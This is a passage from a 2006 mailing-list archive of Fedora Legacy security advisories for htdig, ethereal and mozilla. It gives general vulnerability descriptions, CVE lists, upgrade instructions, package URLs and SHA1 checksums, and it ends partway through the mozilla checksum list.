apt: apt-get update; apt-get upgrade This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. This assumes that you have yum or apt-get configured for obtaining Fedora Legacy content. Please visit http://www.fedoralegacy.org/docs for directions on how to configure yum and apt-get. 5. Bug IDs fixed: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=152907 6. RPMs required: Red Hat Linux 7.3: SRPM: http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/htdig-3.2.0-2.011302.3.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/7.3/updates/i386/htdig-3.2.0-2.011302.3.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/htdig-web-3.2.0-2.011302.3.legacy.i386.rpm Red Hat Linux 9: SRPM: http://download.fedoralegacy.org/redhat/9/updates/SRPMS/htdig-3.2.0-16.20021103.3.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/9/updates/i386/htdig-3.2.0-16.20021103.3.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/htdig-web-3.2.0-16.20021103.3.legacy.i386.rpm Fedora Core 1: SRPM: http://download.fedoralegacy.org/fedora/1/updates/SRPMS/htdig-3.2.0-19.20030601.2.legacy.src.rpm i386: http://download.fedoralegacy.org/fedora/1/updates/i386/htdig-3.2.0-19.20030601.2.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/htdig-web-3.2.0-19.20030601.2.legacy.i386.rpm Fedora Core 2: SRPM: http://download.fedoralegacy.org/fedora/2/updates/SRPMS/htdig-3.2.0b5-7.2.legacy.src.rpm i386: http://download.fedoralegacy.org/fedora/2/updates/i386/htdig-3.2.0b5-7.2.legacy.i386.rpm http://download.fedoralegacy.org/fedora/2/updates/i386/htdig-web-3.2.0b5-7.2.legacy.i386.rpm 7. Verification: SHA1 sum Package Name --------------------------------------------------------------------- 9f2c2108c62a38698946a3d054a02318115575db redhat/7.3/updates/i386/htdig-3.2.0-2.011302.3.legacy.i386.rpm 2f7355e1dac9e1f0af4de0ba4c57707afe253ef0 redhat/7.3/updates/i386/htdig-web-3.2.0-2.011302.3.legacy.i386.rpm e76b1a954834c707a05d323e1910165c204edc21 redhat/7.3/updates/SRPMS/htdig-3.2.0-2.011302.3.legacy.src.rpm a660dbbc2839b32b186bb121e972a553586286fa redhat/9/updates/i386/htdig-3.2.0-16.20021103.3.legacy.i386.rpm f6904537f1da733bf209d20d28b295dcc7d69b99 redhat/9/updates/i386/htdig-web-3.2.0-16.20021103.3.legacy.i386.rpm 37c36aefd9331dc327e24e2fa040399be0b80601 redhat/9/updates/SRPMS/htdig-3.2.0-16.20021103.3.legacy.src.rpm 7478d40f0bae9370d5ab262fe916c41944776adf fedora/1/updates/i386/htdig-3.2.0-19.20030601.2.legacy.i386.rpm 8df233b896f4a139ad123a5465c3d3816da27623 fedora/1/updates/i386/htdig-web-3.2.0-19.20030601.2.legacy.i386.rpm 908e27f80a740632f88bfba330c356b68c76c429 fedora/1/updates/SRPMS/htdig-3.2.0-19.20030601.2.legacy.src.rpm 7b03742a875fb2964b294a1e35d690539a097204 fedora/2/updates/i386/htdig-3.2.0b5-7.2.legacy.i386.rpm 5f590cad676cc7dae81a24d5b02c55cae3ebe603 fedora/2/updates/i386/htdig-web-3.2.0b5-7.2.legacy.i386.rpm 31ab214325ff0fadfa3a2f0d385e16b8de24aed9 fedora/2/updates/SRPMS/htdig-3.2.0b5-7.2.legacy.src.rpm These packages are GPG signed by Fedora Legacy for security. Our key is available from http://www.fedoralegacy.org/about/security.php You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the sha1sum with the following command: sha1sum 8. References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0085 9. Contact: The Fedora Legacy security contact is . More project details at http://www.fedoralegacy.org --------------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: OpenPGP digital signature URL: From marcdeslauriers at videotron.ca Tue Jan 10 01:32:55 2006 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Mon, 09 Jan 2006 20:32:55 -0500 Subject: [FLSA-2006:152922] Updated ethereal packages fix security issues Message-ID: <43C30EC7.6060705@videotron.ca> --------------------------------------------------------------------- Fedora Legacy Update Advisory Synopsis: Updated ethereal packages fix security issues Advisory ID: FLSA:152922 Issue date: 2006-01-09 Product: Red Hat Linux, Fedora Core Keywords: Bugfix CVE Names: CAN-2004-1139, CAN-2004-1140, CVE-2004-1141, CVE-2004-1142, CVE-2005-0006, CVE-2005-0007, CVE-2005-0008, CVE-2005-0009, CVE-2005-0010, CVE-2005-0084, CVE-2005-0699, CVE-2005-0704, CVE-2005-0705, CVE-2005-0739, CVE-2005-1456, CVE-2005-1457, CVE-2005-1458, CVE-2005-1459, CVE-2005-1460, CVE-2005-1461, CVE-2005-1462, CVE-2005-1463, CVE-2005-1464, CVE-2005-1465, CVE-2005-1466, CVE-2005-1467, CVE-2005-1468, CVE-2005-1469, CVE-2005-1470, CVE-2005-2360, CVE-2005-2361, CVE-2005-2362, CVE-2005-2363, CVE-2005-2364, CVE-2005-2365, CVE-2005-2366, CVE-2005-2367, CVE-2005-3241, CVE-2005-3242, CVE-2005-3243, CVE-2005-3244, CVE-2005-3245, CVE-2005-3246, CVE-2005-3247, CVE-2005-3248, CVE-2005-3249, and CVE-2005-3184. --------------------------------------------------------------------- --------------------------------------------------------------------- 1. Topic: Updated Ethereal packages that fix various security vulnerabilities are now available. Ethereal is a program for monitoring network traffic. 2. Relevant releases/architectures: Red Hat Linux 7.3 - i386 Red Hat Linux 9 - i386 Fedora Core 1 - i386 Fedora Core 2 - i386 3. Problem description: A number of security flaws have been discovered in Ethereal. On a system where Ethereal is running, a remote attacker could send malicious packets to trigger these flaws and cause Ethereal to crash or potentially execute arbitrary code. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the following names to these issues: CAN-2004-1139, CAN-2004-1140, CVE-2004-1141, CVE-2004-1142, CVE-2005-0006, CVE-2005-0007, CVE-2005-0008, CVE-2005-0009, CVE-2005-0010, CVE-2005-0084, CVE-2005-0699, CVE-2005-0704, CVE-2005-0705, CVE-2005-0739, CVE-2005-1456, CVE-2005-1457, CVE-2005-1458, CVE-2005-1459, CVE-2005-1460, CVE-2005-1461, CVE-2005-1462, CVE-2005-1463, CVE-2005-1464, CVE-2005-1465, CVE-2005-1466, CVE-2005-1467, CVE-2005-1468, CVE-2005-1469, CVE-2005-1470, CVE-2005-2360, CVE-2005-2361, CVE-2005-2362, CVE-2005-2363, CVE-2005-2364, CVE-2005-2365, CVE-2005-2366, CVE-2005-2367, CVE-2005-3241, CVE-2005-3242, CVE-2005-3243, CVE-2005-3244, CVE-2005-3245, CVE-2005-3246, CVE-2005-3247, CVE-2005-3248, CVE-2005-3249, and CVE-2005-3184. Users of Ethereal should upgrade to these updated packages which contain version 0.10.13 and are not vulnerable to these issues. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via yum and apt. Many people find this an easier way to apply updates. To use yum issue: yum update or to use apt: apt-get update; apt-get upgrade This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. This assumes that you have yum or apt-get configured for obtaining Fedora Legacy content. Please visit http://www.fedoralegacy.org/docs for directions on how to configure yum and apt-get. 5. Bug IDs fixed: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=152922 6. RPMs required: Red Hat Linux 7.3: SRPM: http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/ethereal-0.10.13-0.73.1.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/7.3/updates/i386/ethereal-0.10.13-0.73.1.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/ethereal-gnome-0.10.13-0.73.1.legacy.i386.rpm Red Hat Linux 9: SRPM: http://download.fedoralegacy.org/redhat/9/updates/SRPMS/ethereal-0.10.13-0.90.1.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/7.3/updates/i386/ethereal-0.10.13-0.90.1.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/ethereal-gnome-0.10.13-0.90.1.legacy.i386.rpm Fedora Core 1: SRPM: http://download.fedoralegacy.org/fedora/1/updates/SRPMS/ethereal-0.10.13-1.FC1.3.legacy.src.rpm i386: http://download.fedoralegacy.org/fedora/1/updates/i386/ethereal-0.10.13-1.FC1.3.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/ethereal-gnome-0.10.13-1.FC1.3.legacy.i386.rpm Fedora Core 2: SRPM: http://download.fedoralegacy.org/fedora/2/updates/SRPMS/ethereal-0.10.13-1.FC2.2.legacy.src.rpm i386: http://download.fedoralegacy.org/fedora/2/updates/i386/ethereal-0.10.13-1.FC2.2.legacy.i386.rpm http://download.fedoralegacy.org/fedora/2/updates/i386/ethereal-gnome-0.10.13-1.FC2.2.legacy.i386.rpm 7. Verification: SHA1 sum Package Name --------------------------------------------------------------------- b6ec3227ce109dee158226168c100e726bfc20e3 redhat/7.3/updates/i386/ethereal-0.10.13-0.73.1.legacy.i386.rpm 76bf3ca139e814ced155cab659e2845713baeee8 redhat/7.3/updates/i386/ethereal-gnome-0.10.13-0.73.1.legacy.i386.rpm 27d46417d6c70d7696ce51bb0eda1eca4c09306c redhat/7.3/updates/SRPMS/ethereal-0.10.13-0.73.1.legacy.src.rpm f40d4d125f74b5b2320b5f9c07a4dfe3a38b6070 redhat/9/updates/i386/ethereal-0.10.13-0.90.1.legacy.i386.rpm d2a08d88c8c22d375f36ebcaf480b580244e7b8f redhat/9/updates/i386/ethereal-gnome-0.10.13-0.90.1.legacy.i386.rpm 51e96ba6f6d6448370fd1d7e88bce2be2561f5b8 redhat/9/updates/SRPMS/ethereal-0.10.13-0.90.1.legacy.src.rpm 1f7a8447e658a08866f8050458c130793684ea72 fedora/1/updates/i386/ethereal-0.10.13-1.FC1.3.legacy.i386.rpm 15198b45cdf68437b14cf37476b4eacb93313547 fedora/1/updates/i386/ethereal-gnome-0.10.13-1.FC1.3.legacy.i386.rpm 7df377ffb3f5267fc65e11adb54882d92135b405 fedora/1/updates/SRPMS/ethereal-0.10.13-1.FC1.3.legacy.src.rpm f50e59779e38adf3de331c9f1b71f49ddb5dec11 fedora/2/updates/i386/ethereal-0.10.13-1.FC2.2.legacy.i386.rpm 92c6b494330da5f7c6757bec6004d9110786c914 fedora/2/updates/i386/ethereal-gnome-0.10.13-1.FC2.2.legacy.i386.rpm aa43704fe2deb8aa46b3e61e3884470d9911e1fa fedora/2/updates/SRPMS/ethereal-0.10.13-1.FC2.2.legacy.src.rpm These packages are GPG signed by Fedora Legacy for security. Our key is available from http://www.fedoralegacy.org/about/security.php You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the sha1sum with the following command: sha1sum 8. References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1139 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1140 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1141 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1142 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0006 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0007 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0008 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0009 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0010 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0084 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0699 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0704 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0705 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0739 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1456 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1457 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1458 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1459 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1460 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1461 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1462 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1463 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1464 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1465 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1466 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1467 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1468 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1469 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1470 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2360 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2361 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2362 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2363 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2364 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2365 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2366 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2367 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3241 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3242 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3243 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3244 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3245 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3246 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3247 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3248 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3249 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3184 9. Contact: The Fedora Legacy security contact is . More project details at http://www.fedoralegacy.org --------------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: OpenPGP digital signature URL: From marcdeslauriers at videotron.ca Tue Jan 10 01:33:36 2006 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Mon, 09 Jan 2006 20:33:36 -0500 Subject: [FLSA-2006:168375] Updated mozilla packages fix security issues Message-ID: <43C30EF0.6020505@videotron.ca> --------------------------------------------------------------------- Fedora Legacy Update Advisory Synopsis: Updated mozilla packages fix security issues Advisory ID: FLSA:168375 Issue date: 2006-01-09 Product: Red Hat Linux, Fedora Core Keywords: Bugfix CVE Names: CVE-2005-2701 CVE-2005-2702 CVE-2005-2703 CVE-2005-2704 CVE-2005-2705 CVE-2005-2706 CVE-2005-2707 CVE-2005-2871 CVE-2005-3089 --------------------------------------------------------------------- --------------------------------------------------------------------- 1. Topic: Updated mozilla packages that fix several security bugs are now available. Mozilla is an open source Web browser, advanced email and newsgroup client, IRC chat client, and HTML editor. 2. Relevant releases/architectures: Red Hat Linux 7.3 - i386 Red Hat Linux 9 - i386 Fedora Core 1 - i386 Fedora Core 2 - i386 3. Problem description: A bug was found in the way Mozilla processes XBM image files. If a user views a specially crafted XBM file, it becomes possible to execute arbitrary code as the user running Mozilla. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2005-2701 to this issue. A bug was found in the way Mozilla processes certain Unicode sequences. It may be possible to execute arbitrary code as the user running Mozilla, if the user views a specially crafted Unicode sequence. (CVE-2005-2702) A bug was found in the way Mozilla makes XMLHttp requests. It is possible that a malicious web page could leverage this flaw to exploit other proxy or server flaws from the victim's machine. It is also possible that this flaw could be leveraged to send XMLHttp requests to hosts other than the originator; the default behavior of the browser is to disallow this. (CVE-2005-2703) A bug was found in the way Mozilla implemented its XBL interface. It may be possible for a malicious web page to create an XBL binding in a way that would allow arbitrary JavaScript execution with chrome permissions. Please note that in Mozilla 1.7.10 this issue is not directly exploitable and would need to leverage other unknown exploits. (CVE-2005-2704) An integer overflow bug was found in Mozilla's JavaScript engine. Under favorable conditions, it may be possible for a malicious web page to execute arbitrary code as the user running Mozilla. (CVE-2005-2705) A bug was found in the way Mozilla displays about: pages. It is possible for a malicious web page to open an about: page, such as about:mozilla, in such a way that it becomes possible to execute JavaScript with chrome privileges. (CVE-2005-2706) A bug was found in the way Mozilla opens new windows. It is possible for a malicious web site to construct a new window without any user interface components, such as the address bar and the status bar. This window could then be used to mislead the user for malicious purposes. (CVE-2005-2707) A bug was found in the way Mozilla processes certain international domain names. An attacker could create a specially crafted HTML file, which when viewed by the victim would cause Mozilla to crash or possibly execute arbitrary code. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2005-2871 to this issue. Users of Mozilla are advised to upgrade to these updated packages that contain Mozilla version 1.7.12 and are not vulnerable to these issues. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via yum and apt. Many people find this an easier way to apply updates. To use yum issue: yum update or to use apt: apt-get update; apt-get upgrade This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. This assumes that you have yum or apt-get configured for obtaining Fedora Legacy content. Please visit http://www.fedoralegacy.org/docs for directions on how to configure yum and apt-get. 5. Bug IDs fixed: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=168375 6. RPMs required: Red Hat Linux 7.3: SRPM: http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/mozilla-1.7.12-0.73.2.legacy.src.rpm http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/galeon-1.2.14-0.73.5.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/7.3/updates/i386/mozilla-1.7.12-0.73.2.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/mozilla-chat-1.7.12-0.73.2.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/mozilla-devel-1.7.12-0.73.2.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/mozilla-dom-inspector-1.7.12-0.73.2.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/mozilla-js-debugger-1.7.12-0.73.2.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/mozilla-mail-1.7.12-0.73.2.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/mozilla-nspr-1.7.12-0.73.2.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/mozilla-nspr-devel-1.7.12-0.73.2.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/mozilla-nss-1.7.12-0.73.2.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/mozilla-nss-devel-1.7.12-0.73.2.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/galeon-1.2.14-0.73.5.legacy.i386.rpm Red Hat Linux 9: SRPM: http://download.fedoralegacy.org/redhat/9/updates/SRPMS/mozilla-1.7.12-0.90.1.legacy.src.rpm http://download.fedoralegacy.org/redhat/9/updates/SRPMS/galeon-1.2.14-0.90.5.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/9/updates/i386/mozilla-1.7.12-0.90.1.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/mozilla-chat-1.7.12-0.90.1.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/mozilla-devel-1.7.12-0.90.1.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/mozilla-dom-inspector-1.7.12-0.90.1.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/mozilla-js-debugger-1.7.12-0.90.1.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/mozilla-mail-1.7.12-0.90.1.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/mozilla-nspr-1.7.12-0.90.1.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/mozilla-nspr-devel-1.7.12-0.90.1.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/mozilla-nss-1.7.12-0.90.1.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/mozilla-nss-devel-1.7.12-0.90.1.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/galeon-1.2.14-0.90.5.legacy.i386.rpm Fedora Core 1: SRPM: http://download.fedoralegacy.org/fedora/1/updates/SRPMS/mozilla-1.7.12-1.1.1.legacy.src.rpm http://download.fedoralegacy.org/fedora/1/updates/SRPMS/epiphany-1.0.8-1.fc1.5.legacy.src.rpm i386: http://download.fedoralegacy.org/fedora/1/updates/i386/mozilla-1.7.12-1.1.1.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/mozilla-chat-1.7.12-1.1.1.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/mozilla-devel-1.7.12-1.1.1.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/mozilla-dom-inspector-1.7.12-1.1.1.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/mozilla-js-debugger-1.7.12-1.1.1.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/mozilla-mail-1.7.12-1.1.1.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/mozilla-nspr-1.7.12-1.1.1.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/mozilla-nspr-devel-1.7.12-1.1.1.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/mozilla-nss-1.7.12-1.1.1.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/mozilla-nss-devel-1.7.12-1.1.1.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/epiphany-1.0.8-1.fc1.5.legacy.i386.rpm Fedora Core 2: SRPM: http://download.fedoralegacy.org/fedora/2/updates/SRPMS/mozilla-1.7.12-1.2.1.legacy.src.rpm http://download.fedoralegacy.org/fedora/2/updates/SRPMS/epiphany-1.2.10-0.2.6.legacy.src.rpm http://download.fedoralegacy.org/fedora/2/updates/SRPMS/devhelp-0.9.1-0.2.9.legacy.src.rpm i386: http://download.fedoralegacy.org/fedora/2/updates/i386/mozilla-1.7.12-1.2.1.legacy.i386.rpm http://download.fedoralegacy.org/fedora/2/updates/i386/mozilla-chat-1.7.12-1.2.1.legacy.i386.rpm http://download.fedoralegacy.org/fedora/2/updates/i386/mozilla-devel-1.7.12-1.2.1.legacy.i386.rpm http://download.fedoralegacy.org/fedora/2/updates/i386/mozilla-dom-inspector-1.7.12-1.2.1.legacy.i386.rpm http://download.fedoralegacy.org/fedora/2/updates/i386/mozilla-js-debugger-1.7.12-1.2.1.legacy.i386.rpm http://download.fedoralegacy.org/fedora/2/updates/i386/mozilla-mail-1.7.12-1.2.1.legacy.i386.rpm http://download.fedoralegacy.org/fedora/2/updates/i386/mozilla-nspr-1.7.12-1.2.1.legacy.i386.rpm http://download.fedoralegacy.org/fedora/2/updates/i386/mozilla-nspr-devel-1.7.12-1.2.1.legacy.i386.rpm http://download.fedoralegacy.org/fedora/2/updates/i386/mozilla-nss-1.7.12-1.2.1.legacy.i386.rpm http://download.fedoralegacy.org/fedora/2/updates/i386/mozilla-nss-devel-1.7.12-1.2.1.legacy.i386.rpm http://download.fedoralegacy.org/fedora/2/updates/i386/epiphany-1.2.10-0.2.6.legacy.i386.rpm http://download.fedoralegacy.org/fedora/2/updates/i386/devhelp-0.9.1-0.2.9.legacy.i386.rpm http://download.fedoralegacy.org/fedora/2/updates/i386/devhelp-devel-0.9.1-0.2.9.legacy.i386.rpm 7. Verification: SHA1 sum Package Name --------------------------------------------------------------------- 0ae10dbacdb2472a628a50bf8c5e8f2f54c05e8b redhat/7.3/updates/i386/mozilla-1.7.12-0.73.2.legacy.i386.rpm bff4f2c1d9275bd23d77485aaba9cba2711cd059 redhat/7.3/updates/i386/mozilla-chat-1.7.12-0.73.2.legacy.i386.rpm f03b386ccc78f9e7701e9a13bc7b8d20a1ffa6a1 redhat/7.3/updates/i386/mozilla-devel-1.7.12-0.73.2.legacy.i386.rpm 07c3079647613a446cc228c52dd30bf680577a7a redhat/7.3/updates/i386/mozilla-dom-inspector-1.7.12-0.73.2.legacy.i386.rpm 6b784f7a3d316f2cba036edff3de9b0655a931a0 redhat/7.3/updates/i386/mozilla-js-debugger-1.7.12-0.73.2.legacy.i386.rpm 3117c8a563e96c6680a67d54838cb80edd2d1bdb redhat/7.3/updates/i386/mozilla-mail-1.7.12-0.73.2.legacy.i386.rpm 7c8a98aa917aa25a8da0111ddf0dd14af97dae29 redhat/7.3/updates/i386/mozilla-nspr-1.7.12-0.73.2.legacy.i386.rpm af0566c481a1c71ca829acbe1a6236a0c8357500 redhat/7.3/updates/i386/mozilla-nspr-devel-1.7.12-0.73.2.legacy.i386.rpm 13f7e9de34bde44148fc937b8af67a646d05a088 redhat/7.3/updates/i386/mozilla-nss-1.7.12-0.73.2.legacy.i386.rpm 38a2c8ae78b113999ca96cb6e6cded4546e8d12f redhat/7.3/updates/i386/mozilla-nss-devel-1.7.12-0.73.2.legacy.i386.rpm d4ed2b56c7c9d3fce0798f8c8896532513e39cd0 redhat/7.3/updates/SRPMS/mozilla-1.7.12-0.73.2.legacy.src.rpm 5e150015de68be25c45dad3a1bd9b3a2d377845c redhat/7.3/updates/i386/galeon-1.2.14-0.73.5.legacy.i386.rpm 386ee463b84c4749942c1cb0c9f9f56111729c1c redhat/7.3/updates/SRPMS/galeon-1.2.14-0.73.5.legacy.src.rpm 5282b6d81fa7dbd45f506921da3800fa233ace20 redhat/9/updates/i386/mozilla-1.7.12-0.90.1.legacy.i386.rpm c4ae587e77b7905666079958c199f01726542afb redhat/9/updates/i386/mozilla-chat-1.7.12-0.90.1.legacy.i386.rpm 65dd772102dd18492e3d1dcf57c25c8e2dc266b4 redhat/9/updates/i386/mozilla-devel-1.7.12-0.90.1.legacy.i386.rpm d9037fbae761a3be89464b49a3e4d0144fe5f902 redhat/9/updates/i386/mozilla-dom-inspector-1.7.12-0.90.1.legacy.i386.rpm 7286328e5e852d54054842499991b757a611764a redhat/9/updates/i386/mozilla-js-debugger-1.7.12-0.90.1.legacy.i386.rpm ce0434655656869055dd1c241d8e4ec87b116332 redhat/9/updates/i386/mozilla-mail-1.7.12-0.90.1.legacy.i386.rpm f8b6ac8a06f09586dae8c0b6b5ee1ac477441a9b redhat/9/updates/i386/mozilla-nspr-1.7.12-0.90.1.legacy.i386.rpm 4e3e35121ee0b7af06741ed55b8940dbfff75729 redhat/9/updates/i386/mozilla-nspr-devel-1.7.12-0.90.1.legacy.i386.rpm 084505eb96bf88a56674de30742f65488456b605 redhat/9/updates/i386/mozilla-nss-1.7.12-0.90.1.legacy.i386.rpm cdf65aa899b79b48e0887ef39ca91302e6d15681 redhat/9/updates/i386/mozilla-nss-devel-1.7.12-0.90.1.legacy.i386.rpm 5a2acb7f2793efb7f10255b92612e77a1d9e65bb redhat/9/updates/SRPMS/mozilla-1.7.12-0.90.1.legacy.src.rpm 74020053368e66bfd9efce5ba562c63f69a577d6 redhat/9/updates/i386/galeon-1.2.14-0.90.5.legacy.i386.rpm 2b4d838851a2281850c46ba31431e648a00499a3 redhat/9/updates/SRPMS/galeon-1.2.14-0.90.5.legacy.src.rpm 18c32412474b8a52d801d2fc4ed81495b68ea951 fedora/1/updates/i386/mozilla-1.7.12-1.1.1.legacy.i386.rpm 07750f8d1e9c3837fb6914501da8dfea7d4020d4 fedora/1/updates/i386/mozilla-chat-1.7.12-1.1.1.legacy.i386.rpm ab9fc23d55b6d15343033e0c8ed9421dc3863722 fedora/1/updates/i386/mozilla-devel-1.7.12-1.1.1.legacy.i386.rpm 6847a3a144b5f35d03fadefcc908c94b865905d3 fedora/1/updates/i386/mozilla-dom-inspector-1.7.12-1.1.1.legacy.i386.rpm 7f1d643d23e0d0f03230b6f5737d00cf2a1668b9 fedora/1/updates/i386/mozilla-js-debugger-1.7.12-1.1.1.legacy.i386.rpm 881f6ca2c2db756f3f5def713824f4d7081e3493 fedora/1/updates/i386/mozilla-mail-1.7.12-1.1.1.legacy.i386.rpm ccf82ba2d865f59f45160ac3f01b5f1bb9b30dde fedora/1/updates/i386/mozilla-nspr-1.7.12-1.1.1.legacy.i386.rpm 5e7d244a529051309619e1c4ff11ecc556e4eae6 fedora/1/updates/i386/mozilla-nspr-devel-1.7.12-1.1.1.legacy.i386.rpm aa8c2bce17d85f5233060849bb49472ddaf5565f fedora/1/updates/i386/mozilla-nss-1.7.12-1.1.1.legacy.i386.rpm 